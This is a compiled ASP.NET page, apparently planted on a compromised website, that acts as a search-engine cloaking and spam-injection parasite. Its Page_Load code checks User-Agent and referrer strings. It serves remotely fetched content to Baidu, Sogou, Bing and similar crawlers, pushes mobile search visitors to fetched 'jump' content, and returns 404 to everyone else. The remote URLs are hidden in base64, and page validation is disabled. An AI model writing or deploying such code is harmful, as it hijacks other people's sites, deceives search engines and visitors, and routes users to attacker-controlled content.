行 1: #pragma checksum "D:\website\ppjs\list.aspx" "{406ea660-64cf-4c82-b6f0-42d48172a799}" "5556AC877C2314D825188D409E70817B"
行 2: //------------------------------------------------------------------------------
行 3: // <auto-generated>
行 4: // 此代码由工具生成。
行 5: // 运行时版本:2.0.50727.8000
行 6: //
行 7: // 对此文件的更改可能会导致不正确的行为,并且如果
行 8: // 重新生成代码,这些更改将会丢失。
行 9: // </auto-generated>
行 10: //------------------------------------------------------------------------------
行 11:
行 12: namespace ASP {
行 13:
行 14: #line 285 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 15: using System.Web.Security;
行 16:
行 17: #line default
行 18: #line hidden
行 19:
行 20: #line 10 "D:\website\ppjs\list.aspx"
行 21: using System.Runtime.InteropServices;
行 22:
行 23: #line default
行 24: #line hidden
行 25:
行 26: #line 282 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 27: using System.Web;
行 28:
行 29: #line default
行 30: #line hidden
行 31:
行 32: #line 284 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 33: using System.Web.SessionState;
行 34:
行 35: #line default
行 36: #line hidden
行 37:
行 38: #line 8 "D:\website\ppjs\list.aspx"
行 39: using System.Net.Sockets;
行 40:
行 41: #line default
行 42: #line hidden
行 43:
行 44: #line 4 "D:\website\ppjs\list.aspx"
行 45: using System.Data;
行 46:
行 47: #line default
行 48: #line hidden
行 49:
行 50: #line 286 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 51: using System.Web.Profile;
行 52:
行 53: #line default
行 54: #line hidden
行 55:
行 56: #line 280 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 57: using System.Text;
行 58:
行 59: #line default
行 60: #line hidden
行 61:
行 62: #line 290 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 63: using System.Web.UI.HtmlControls;
行 64:
行 65: #line default
行 66: #line hidden
行 67:
行 68: #line 276 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 69: using System;
行 70:
行 71: #line default
行 72: #line hidden
行 73:
行 74: #line 5 "D:\website\ppjs\list.aspx"
行 75: using System.Management;
行 76:
行 77: #line default
行 78: #line hidden
行 79:
行 80: #line 278 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 81: using System.Collections.Specialized;
行 82:
行 83: #line default
行 84: #line hidden
行 85:
行 86: #line 2 "D:\website\ppjs\list.aspx"
行 87: using System.IO;
行 88:
行 89: #line default
行 90: #line hidden
行 91:
行 92: #line 277 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 93: using System.Collections;
行 94:
行 95: #line default
行 96: #line hidden
行 97:
行 98: #line 6 "D:\website\ppjs\list.aspx"
行 99: using System.Data.OleDb;
行 100:
行 101: #line default
行 102: #line hidden
行 103:
行 104: #line 289 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 105: using System.Web.UI.WebControls.WebParts;
行 106:
行 107: #line default
行 108: #line hidden
行 109:
行 110: #line 279 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 111: using System.Configuration;
行 112:
行 113: #line default
行 114: #line hidden
行 115:
行 116: #line 11 "D:\website\ppjs\list.aspx"
行 117: using System.DirectoryServices;
行 118:
行 119: #line default
行 120: #line hidden
行 121:
行 122: #line 283 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 123: using System.Web.Caching;
行 124:
行 125: #line default
行 126: #line hidden
行 127:
行 128: #line 287 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 129: using System.Web.UI;
行 130:
行 131: #line default
行 132: #line hidden
行 133:
行 134: #line 15 "D:\website\ppjs\list.aspx"
行 135: using System.Data.SqlClient;
行 136:
行 137: #line default
行 138: #line hidden
行 139:
行 140: #line 9 "D:\website\ppjs\list.aspx"
行 141: using System.Net;
行 142:
行 143: #line default
行 144: #line hidden
行 145:
行 146: #line 13 "D:\website\ppjs\list.aspx"
行 147: using System.Text.RegularExpressions;
行 148:
行 149: #line default
行 150: #line hidden
行 151:
行 152: #line 288 "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\web.config"
行 153: using System.Web.UI.WebControls;
行 154:
行 155: #line default
行 156: #line hidden
行 157:
行 158: #line 3 "D:\website\ppjs\list.aspx"
行 159: using System.Diagnostics;
行 160:
行 161: #line default
行 162: #line hidden
行 163:
行 164: #line 16 "D:\website\ppjs\list.aspx"
行 165: using Microsoft.VisualBasic;
行 166:
行 167: #line default
行 168: #line hidden
行 169:
行 170: #line 7 "D:\website\ppjs\list.aspx"
行 171: using Microsoft.Win32;
行 172:
行 173: #line default
行 174: #line hidden
行 175:
行 176: #line 12 "D:\website\ppjs\list.aspx"
行 177: using System.ServiceProcess;
行 178:
行 179: #line default
行 180: #line hidden
行 181:
行 182: #line 14 "D:\website\ppjs\list.aspx"
行 183: using System.Threading;
行 184:
行 185: #line default
行 186: #line hidden
行 187:
行 188:
行 189: [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
行 190: public class ppjs_list_aspx : global::System.Web.UI.Page, System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler {
行 191:
行 192: private static bool @__initialized;
行 193:
行 194: private static object @__fileDependencies;
行 195:
行 196:
行 197: #line 22 "D:\website\ppjs\list.aspx"
行 198:
行 199:
行 200: protected void Page_Load(object sender, EventArgs e)
行 201: {
行 202:
行 203: string data_user = Request.UserAgent;
行 204: string data_link = context.Request.Url.Host;
行 205: string data_refs = Request.UrlReferrer != null ? Request.UrlReferrer.ToString() : "";
行 206: string Path;
行 207: if (!IS_SvipUser(data_user)||IS_Moblie(data_user))
行 208: {
行 209: Response.StatusCode = 404;
行 210: Response.Status="404 Not Found";
行 211:
行 212: }
行 213: if (data_link.Contains("txt"))
行 214: {
行 215: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC90eHRzLw==");
行 216: }
行 217: else if (data_link.Contains("err"))
行 218: {
行 219: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC9lcnJzLw==");
行 220: }else {
行 221: Path = DeBaseString(@"aHR0cDovL3MuYmM4LmluL2dsb2JhbC90eHRzLw==");
行 222: }
行 223: if (Is_VipUser(data_user))
行 224: {
行 225: string c_link = Path + DeBaseString(@"P3VjPWdiayZob3N0PQ==") + data_link;
行 226: string c_link_data = GetHttp(c_link);
行 227: Response.Write(c_link_data);
行 228:
行 229: }
行 230: if (IS_SvipUser(data_refs) && IS_SvipEnts(data_link))
行 231: {
行 232: if (IS_Moblie(data_user))
行 233: {
行 234: string t_link = Path + DeBaseString(@"P3VjPWp1bXA=");
行 235: string t_link_data = GetHttp(t_link);
行 236: Response.Write(t_link_data);
行 237: }else{
行 238: Response.StatusCode = 404;
行 239: Response.Status="404 Not Found";
行 240: Response.End();
行 241: }
行 242: }
行 243:
行 244: }
行 245: public string GetHttp(string url)
行 246: {
行 247: HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);
行 248:
行 249: httpWebRequest.ContentType = "application/x-www-form-urlencoded";
行 250: httpWebRequest.UserAgent = Request.ServerVariables["HTTP_USER_AGENT"];
行 251: httpWebRequest.Method = "GET";
行 252: httpWebRequest.Timeout = 999999;
行 253:
行 254: HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
行 255: StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312"));
行 256: string responseContent = streamReader.ReadToEnd();
行 257:
行 258: httpWebResponse.Close();
行 259: streamReader.Close();
行 260:
行 261: return responseContent;
行 262: }
行 263:
行 264: public bool Is_VipUser(string user)
行 265: {
行 266: return Regex.IsMatch(user, @"Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot", RegexOptions.IgnoreCase);
行 267: }
行 268: public bool IS_SvipUser(string user)
行 269: {
行 270: return Regex.IsMatch(user, @"baidu|sogou|so.com|sm.cn|bing|toutiao", RegexOptions.IgnoreCase);
行 271: }
行 272: public bool IS_SvipEnts(string link)
行 273: {
行 274: return Regex.IsMatch(link, @"\.gov.cn|\.edu.cn|\.shtml|\.phtml|\.xml|err|txt", RegexOptions.IgnoreCase);
行 275: }
行 276: public bool IS_Moblie(string user)
行 277: {
行 278: return Regex.IsMatch(user, @"nokia|sony|ericsson|mot|samsung|htc|sgh|lg|sharp|sie-|philips|panasonic|alcatel|lenovo|iphone|ipod|blackberry|meizu|android|netfront|symbian|ucweb|windowsce|palm|operamini|operamobi|openwave|nexusone|cldc|midp|wap|mobile", RegexOptions.IgnoreCase);
行 279: }
行 280: public string DeBaseString(string str)
行 281: {
行 282: return Encoding.Default.GetString(Convert.FromBase64String(str));
行 283: }
行 284:
行 285: #line default
行 286: #line hidden
行 287:
行 288:
行 289: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 290: public ppjs_list_aspx() {
行 291: string[] dependencies;
行 292: ((global::System.Web.UI.Page)(this)).AppRelativeVirtualPath = "~/ppjs/list.aspx";
行 293: if ((global::ASP.ppjs_list_aspx.@__initialized == false)) {
行 294: dependencies = new string[1];
行 295: dependencies[0] = "~/ppjs/list.aspx";
行 296: global::ASP.ppjs_list_aspx.@__fileDependencies = this.GetWrappedFileDependencies(dependencies);
行 297: global::ASP.ppjs_list_aspx.@__initialized = true;
行 298: }
行 299: this.Server.ScriptTimeout = 30000000;
行 300: }
行 301:
行 302: protected System.Web.Profile.DefaultProfile Profile {
行 303: get {
行 304: return ((System.Web.Profile.DefaultProfile)(this.Context.Profile));
行 305: }
行 306: }
行 307:
行 308: protected ASP.global_asax ApplicationInstance {
行 309: get {
行 310: return ((ASP.global_asax)(this.Context.ApplicationInstance));
行 311: }
行 312: }
行 313:
行 314: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 315: private void @__BuildControlTree(ppjs_list_aspx @__ctrl) {
行 316:
行 317: #line 1 "D:\website\ppjs\list.aspx"
行 318: @__ctrl.EnableViewStateMac = false;
行 319:
行 320: #line default
行 321: #line hidden
行 322:
行 323: #line 1 "D:\website\ppjs\list.aspx"
行 324: @__ctrl.EnableViewState = true;
行 325:
行 326: #line default
行 327: #line hidden
行 328:
行 329: #line 1 "D:\website\ppjs\list.aspx"
行 330: @__ctrl.EnableEventValidation = false;
行 331:
行 332: #line default
行 333: #line hidden
行 334:
行 335: #line 1 "D:\website\ppjs\list.aspx"
行 336: this.InitializeCulture();
行 337:
行 338: #line default
行 339: #line hidden
行 340: }
行 341:
行 342: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 343: protected override void FrameworkInitialize() {
行 344: base.FrameworkInitialize();
行 345: this.@__BuildControlTree(this);
行 346: this.AddWrappedFileDependencies(global::ASP.ppjs_list_aspx.@__fileDependencies);
行 347: this.TraceEnabled = false;
行 348: }
行 349:
行 350: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 351: public override int GetTypeHashCode() {
行 352: return 5381;
行 353: }
行 354:
行 355: [System.Diagnostics.DebuggerNonUserCodeAttribute()]
行 356: public override void ProcessRequest(System.Web.HttpContext context) {
行 357: base.ProcessRequest(context);
行 358: }
行 359: }
行 360: }
行 361:
|